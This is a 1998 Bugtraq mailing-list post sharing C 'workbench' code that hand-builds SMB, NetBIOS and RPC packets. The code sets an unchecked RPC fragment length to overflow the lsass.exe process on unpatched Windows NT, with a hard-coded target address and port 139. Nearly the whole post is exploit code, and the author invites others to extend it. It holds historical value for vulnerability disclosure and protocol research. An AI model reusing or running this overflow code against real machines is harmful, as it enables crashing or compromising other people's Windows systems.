Bugtraq mailing list archives

SMB/RPC workbench code


From: gregh () WEBTRENDS COM (Greg Hoglund)
Date: Tue, 5 May 1998 18:29:40 -0500


sorry if my email program mucked up the code formatting...

////////////////////////////////////////////////////
// Workshop code to test offsets in SMB/RPC calls
// over TCP/IP
//
// May 1, 1998
// Greg Hoglund  http://www.asmodeus.com
//
// I recently became aware of some issues in the lsass.exe
// process.  Prior to the lsa2-fix hotfix, you can apparently
// buffer overflow lsass thru an RPC call.
// See KB Q154087
//
// I wrote this code this morning to try and exploit
// this behavior.  I skipped alot and just hard coded
// some parameter blocks.  You might want to play with
// this or improve upon it.  If you make improvements
// I sincerely ask that you release the update.
//
// RPC and Netbios are an orchard just waiting to
// be picked.  I hope that this code will help the
// harvest.
////////////////////////////////////////////////////

#ifndef UNICODE
#define UNICODE
#endif // UNICODE

#include <windows.h>
#include <stdio.h>
// from the ddk
#include "ntsecapi.h"

#define RTN_OK 0
#define RTN_USAGE 1
#define RTN_ERROR 13
//
// If you have the ddk, include ntstatus.h.
//
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#endif

////////////////////////////////////////////////
// Targets
//
// The NBT header length and RPC fragment offset
// can be set.  Incorrect RPC fragment offset
// can overflow the remote lsass.exe process
////////////////////////////////////////////////
#define TARGET_IP "192.168.0.28"
#define TARGET_MACHINENAME "LARRY"
#define TARGET_USERNAME "GREGH"

#define NBT_PACKET_LENGTH       0xA400
#define RPC_FRAGMENT_OFFSET 0xFFFF


////////////////////////////////////////////////
// SMB/NBT/RPC structures for packets
////////////////////////////////////////////////
typedef struct _NBTHeader
{
        struct {
                u_char  packetType;
                u_char  packetFlags;
                #define NBT_ADDLEN 0x00
                u_short packetLen;
        } s;
} NBT_HEADER, *NBT_HEADER_P;

// this isn't exactly to spec, but everything is aligned OK
typedef struct _SMB
{
        struct smb_static{
                NBT_HEADER      NBTHeader;
                u_char protocol[4];                     // Contains 0xFF,'SMB'
                u_char command;             // Command code
                u_char status[4];                       // error
                u_char flags;               // Flags
                u_short flags2;             // More flags

                u_char pad[12];             // Ensure section is 12 bytes long

                u_short tid;                // Tree identifier
                u_short pid;                // Opaque for client use
                u_short uid;                // User id
                u_short mid;                // multiplex id
                u_char  wordCount;          // Count of parameter words
        } s;

    u_short *parameterWordsP;           // The parameter words
    u_short byteCount;                          // Count of bytes
    u_char  *bufferP;                           // The bytes
} SMB_HEADER, *SMB_HEADER_P;

// RPC structures
// I pulled from cifsntdomain.txt:
// http://mailhost.cb1.com/~lkcl/ntdom/cifsntdomain.txt
typedef struct _RPCHeader
{
        u_char versionMaj;
        u_char verisonMin;
        u_char type;
        u_char flags;
        u_long rep;
        u_short fraglength; // THIS is NOT sanity checked, oops. Fixed in lsa2-fix
        u_short authlen;
        u_long callid;

} RPC_HEADER, *RPC_HEADER_P;

typedef struct _RPC_Bind
{
        u_short maxtsize;
        u_short maxrsize;
        u_long assocgid;
        u_long numelements;
        u_short contextid;
        u_char numsyntaxes;
} RPC_BIND, *RPC_BIND_P;


// I didn't have the structures for these parameter blocks.  I sniffed
these ones.
// Perhaps someone (?) could look them up / figure them out

// sets up desired access, create flags, etc...
static char CreateXParms[] =
"\xFF\x00\x00\x00\x00\x0E\x00\x06\x00\x00\x00\x00\x00\x00" \
                                                                
"\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
                                                                
"\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \
                                                                "\x00\x02\x00\x00\x00\x00";

static char RTransact[] =
"\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \
                                                                
"\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02\x00" \
                                                                "\x26\x00\x02\x08";

static char RTransact2[] =
"\x00\x00\x92\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \
                                                                
"\x00\x00\x00\x00\x00\x00\x54\x00\x92\x00\x54\x00\x02\x00"

                                                                "\x26\x00\x00\x08";

// UNICODE = "\.l.s.a.r.p.c." (prefixed with 0x20 ?)
static char CreateXFilename[] =
"\x20\x5C\x00\x6C\x00\x73\x00\x61\x00\x72\x00\x70\x00\x63\x00\x00\x00";

static char PresentationContext[] =
"\x01\x00\x00\x00\x00\x00\x01\x00\x78\x57\x34\x12\x34\x12\xCD" \
                                                                        
"\xAB\xEF\x00\x01\x23\x45\x67\x89\xAB\x00\x00\x00\x00\x04\x5D" \
                                                                        
"\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02" \
                                                                        "\x00\x00\x00";

// C NT Create & X
SMB_HEADER_P CreateSMBOpenPacket()
{
        SMB_HEADER_P sHeadP = new SMB_HEADER;
        memset(sHeadP, 0, sizeof(SMB_HEADER));

        NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);

        nbtHeaderP->s.packetType = 0x00;                        // Session Manage == 0x00
        nbtHeaderP->s.packetFlags = 0x00;
        nbtHeaderP->s.packetLen = 0x0000;                       // I set the correct packet size later

        memcpy(sHeadP->s.protocol, "\xFFSMB", 4);       //standard SMB protocol
        sHeadP->s.command = (char)0xA2;                         //Command == Create & X
        sHeadP->s.flags = (char)0x18;                           //0x18 == (using caseless pathnames |
canonical pathnames)
        sHeadP->s.flags2 = 0x8003;                                      //0x8003 == (understand long filenames |
extended attribs | UNICODE )

        // i chose these arbritrary (sniffed packet)
        sHeadP->s.tid = 0x800;
        sHeadP->s.pid = 0x1E00;
        sHeadP->s.uid = 0x801;
        sHeadP->s.mid = 0xC0;

        // setup parameters for "Create & X" command
        sHeadP->s.wordCount = 24;
        sHeadP->parameterWordsP = (u_short *) CreateXParms;

        sHeadP->byteCount = 17;
        sHeadP->bufferP = (u_char *) CreateXFilename;

        return (sHeadP);
}

SMB_HEADER_P CreateRPCBind(int size)
{
        SMB_HEADER_P sHeadP = new SMB_HEADER;
        memset(sHeadP, 0, sizeof(SMB_HEADER));

        NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);

        nbtHeaderP->s.packetType = 0x00;                // Session Manage == 0x00
        nbtHeaderP->s.packetFlags = 0x00;
        nbtHeaderP->s.packetLen = 0x0000;               // FIXME need to set correct packet size

        memcpy(sHeadP->s.protocol, "\xFFSMB", 4);               //standard SMB protocol
        sHeadP->s.command = (char)0x25;                                 //Command == RTransact
        sHeadP->s.flags = (char)0x18;                                   //0x18 == (using caseless pathnames |
canonical pathnames)
        sHeadP->s.flags2 = 0x8003;                      //0x8003 == (understand long filenames |
extended attribs | UNICODE )

        // i chose these arbritrary (sniffed packet)
        sHeadP->s.tid = 0x800;
        sHeadP->s.pid = 0x1E00;
        sHeadP->s.uid = 0x801;
        sHeadP->s.mid = 0xC0;

        // setup parameters for "RTransact" command
        sHeadP->s.wordCount = 16;
        sHeadP->parameterWordsP = (u_short *) RTransact;

        sHeadP->byteCount = 89;
        sHeadP->bufferP = new u_char[89];

        // UNICODE "\.P.I.P.E.\." prefixed w/ NULL
        memcpy(sHeadP->bufferP,
"\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17);

        RPC_HEADER rpchead;
        rpchead.versionMaj = 0x05;
        rpchead.verisonMin = 0x00;
        rpchead.type = 0x0B;            // Type == Bind
        rpchead.flags = 0x00;
        rpchead.rep = 0x00000010;
        rpchead.fraglength = size;      // THIS is NOT sanity checked, oops.
        rpchead.authlen = 0x0000;
        rpchead.callid = 0xBAADF00D; // someone eat bad chinese for lunch? (this
is hard coded in NT)

        memcpy(sHeadP->bufferP + 17, &rpchead, sizeof(RPC_HEADER));

        RPC_BIND rpcbind;
        rpcbind.maxtsize = 0x1630;
        rpcbind.maxrsize = 0x1630;
        rpcbind.assocgid = 0x0000;
        rpcbind.numelements = 0x01;
        rpcbind.contextid = 0x00;
        rpcbind.numsyntaxes = 0x01;

        memcpy( sHeadP->bufferP
                        + 17
                        + sizeof(RPC_HEADER), &rpcbind, sizeof(RPC_BIND));

        memcpy( sHeadP->bufferP
                        + 17
                        + sizeof(RPC_HEADER)
                        + sizeof(RPC_BIND), PresentationContext, 48);

        return (sHeadP);
}


SMB_HEADER_P CreateRPCRequest(int size)
{
        SMB_HEADER_P sHeadP = new SMB_HEADER;
        memset(sHeadP, 0, sizeof(SMB_HEADER));

        NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);

        nbtHeaderP->s.packetType = 0x00;                // Session Manage == 0x00
        nbtHeaderP->s.packetFlags = 0x00;
        nbtHeaderP->s.packetLen = 0x0000;               // set the size later

        memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol
        sHeadP->s.command = (char)0x25;                   //Command == RTransact

        sHeadP->s.flags = (char)0x18;                     //0x18 == (using caseless pathnames |
canonical pathnames)
        sHeadP->s.flags2 = 0x8003;                                //0x8003 == (understand long filenames |
extended attribs | UNICODE )

        // i chose these arbritrary (sniffed packet)
        sHeadP->s.tid = 0x800;
        sHeadP->s.pid = 0xA700;
        sHeadP->s.uid = 0x800;
        sHeadP->s.mid = 0x14C0;

        // setup parameters for "RTransact" command
        sHeadP->s.wordCount = 16;
        sHeadP->parameterWordsP = (u_short *) RTransact2;

        sHeadP->byteCount = 97;
        sHeadP->bufferP = new u_char[97];

        // UNICODE "\.P.I.P.E.\." prefixed w/ NULL
        memcpy(sHeadP->bufferP,
"\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17);

        RPC_HEADER rpchead;
        rpchead.versionMaj = 0x05;
        rpchead.verisonMin = 0x00;
        rpchead.type = 0x00;            // Type == Request
        rpchead.flags = 0x03;           // Set last fragment
        rpchead.rep = 0x00000010;
        rpchead.fraglength = size;      // THIS is NOT sanity checked, oops.
        rpchead.authlen = 0x0000;
        rpchead.callid = 0x00000001;

        memcpy( sHeadP->bufferP
                        + 17, &rpchead, sizeof(RPC_HEADER));

        // set the allocation hint, op number, and stub data...
        // sorry, i didn't want to code the struct for these
        // the target machine name "LARRY" is unicoded in this
        // block, but I wasn't sure if lsass would even get to here
        // if i managed to blow it's stack
        // maybe someone(?) or i should code these structs...
        // I get the impression there is still alot of reverse
        // engineering going on for this, after reading the cifs
        // stuff.. if i'm wrong, please point me to the source ;)
        memcpy( sHeadP->bufferP
                        + 17
                        + sizeof(RPC_HEADER),
                        "\x38\x00\x00\x00\x00\x00\x2C\x00\xD8\x0D\x14" \
                        "\x00\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00" \
                        "\x00\x00\x4C\x00\x41\x00\x52\x00\x52\x00\x59" \
                        "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" \
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
                        "\x00\x00\x00\x00\x00\x10\x08\x00\x00", 64);

        return (sHeadP);
}

char * BuildPacket(SMB_HEADER_P sHeader, int *size)
{
        //pack it down
        int sHeaderSize = sizeof(struct _SMB::smb_static) + (sHeader->s.wordCount
* 2) + sHeader->byteCount + 1;

        sHeader->s.NBTHeader.s.packetLen = NBT_PACKET_LENGTH;

        *size = sHeaderSize;

        char *tosend = new char[sHeaderSize];
        memcpy( &tosend[0], sHeader, sizeof(SMB_HEADER::smb_static));

        memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)],
                        sHeader->parameterWordsP, (sHeader->s.wordCount * 2));

        memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)
                        + (sHeader->s.wordCount * 2)], (void *)&sHeader->byteCount,
sizeof(sHeader->byteCount));

        memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)
                        + (sHeader->s.wordCount * 2)
                        + sizeof(sHeader->byteCount)], sHeader->bufferP, sHeader->byteCount);

        return(tosend);
}

void
InitLsaString(
    PLSA_UNICODE_STRING LsaString,
    LPWSTR String
    )
{
    DWORD StringLength;

    if (String == NULL) {
        LsaString->Buffer = NULL;
        LsaString->Length = 0;
        LsaString->MaximumLength = 0;
        return;
    }

    StringLength = wcslen(String);
    LsaString->Buffer = String;
    LsaString->Length = (USHORT) StringLength * sizeof(WCHAR);
    LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR);
}



NTSTATUS
OpenPolicy(
    LPWSTR ServerName,
    DWORD DesiredAccess,
    PLSA_HANDLE PolicyHandle
    )
{
    LSA_OBJECT_ATTRIBUTES ObjectAttributes;
    LSA_UNICODE_STRING ServerString;
    PLSA_UNICODE_STRING Server = NULL;

    //
    // Always initialize the object attributes to all zeroes.
    //
    ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));

    if (ServerName != NULL) {
        //
        // Make a LSA_UNICODE_STRING out of the LPWSTR passed in
        //
        InitLsaString(&ServerString, ServerName);
        Server = &ServerString;
    }

        // lets try to fuck this up
        ObjectAttributes.Length = 65536;

    //
    // Attempt to open the policy.
    //
    return LsaOpenPolicy(
                Server,
                &ObjectAttributes,

                DesiredAccess,
                PolicyHandle
                );
}

int _cdecl
main(void)
{
    LSA_HANDLE PolicyHandle;
    WCHAR wComputerName[256]=L"";   // static machine name buffer
    TCHAR AccountName[256];         // static account name buffer
    NTSTATUS Status;
    int iRetVal=RTN_ERROR;          // assume error from main

    wsprintf(AccountName, TEXT("%hS"), TARGET_USERNAME);
    wsprintfW(wComputerName, L"%hS", TARGET_MACHINENAME);

    //
    // Open the policy on the target machine.
        // This call sets up the /lsarpc pipe for us
        // this maps to the lsass.exe process, which has some
        // problems with buffer overflow.
        // See knowledgebase article Q154087
    //
        // We could also use the CreateSMBOpenPacket() call above
        // to do this manually.  I figured it easier to
        // use the system call....
    if((Status=OpenPolicy(
                wComputerName,      // target machine
                POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES,
                &PolicyHandle       // resultant policy handle
                )) != STATUS_SUCCESS) {
        return RTN_ERROR;
    }

        // pipe is open, start forging your own packets
        WSADATA wsaData;
        if(WSAStartup(MAKEWORD(2,1), &wsaData) != 0)
                exit(1);

        // we already handled this...
        // Send SMBOpenX for /lsarpc which translates to lsass process
        // SMB_HEADER_P sHeader = CreateSMBOpenPacket();

        // I was looping thru all fragment offsets...
        //for(int i = 0; i<65536; i++)
        //{
                SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
                if(s == SOCKET_ERROR) exit(1);

                SOCKADDR_IN addr;
                addr.sin_family = AF_INET;
                addr.sin_port = htons(139);
                addr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);

                SMB_HEADER_P sHeader = CreateRPCRequest(RPC_FRAGMENT_OFFSET);
                int sPacketSize;
                char *tosend = BuildPacket(sHeader, &sPacketSize);
                if(connect(s, (struct sockaddr *) &addr, sizeof(SOCKADDR_IN)) !=
SOCKET_ERROR)
                        send(s, (char *) tosend, sPacketSize, 0);
                closesocket(s);
        //}
        return(RTN_OK);
}



Current thread: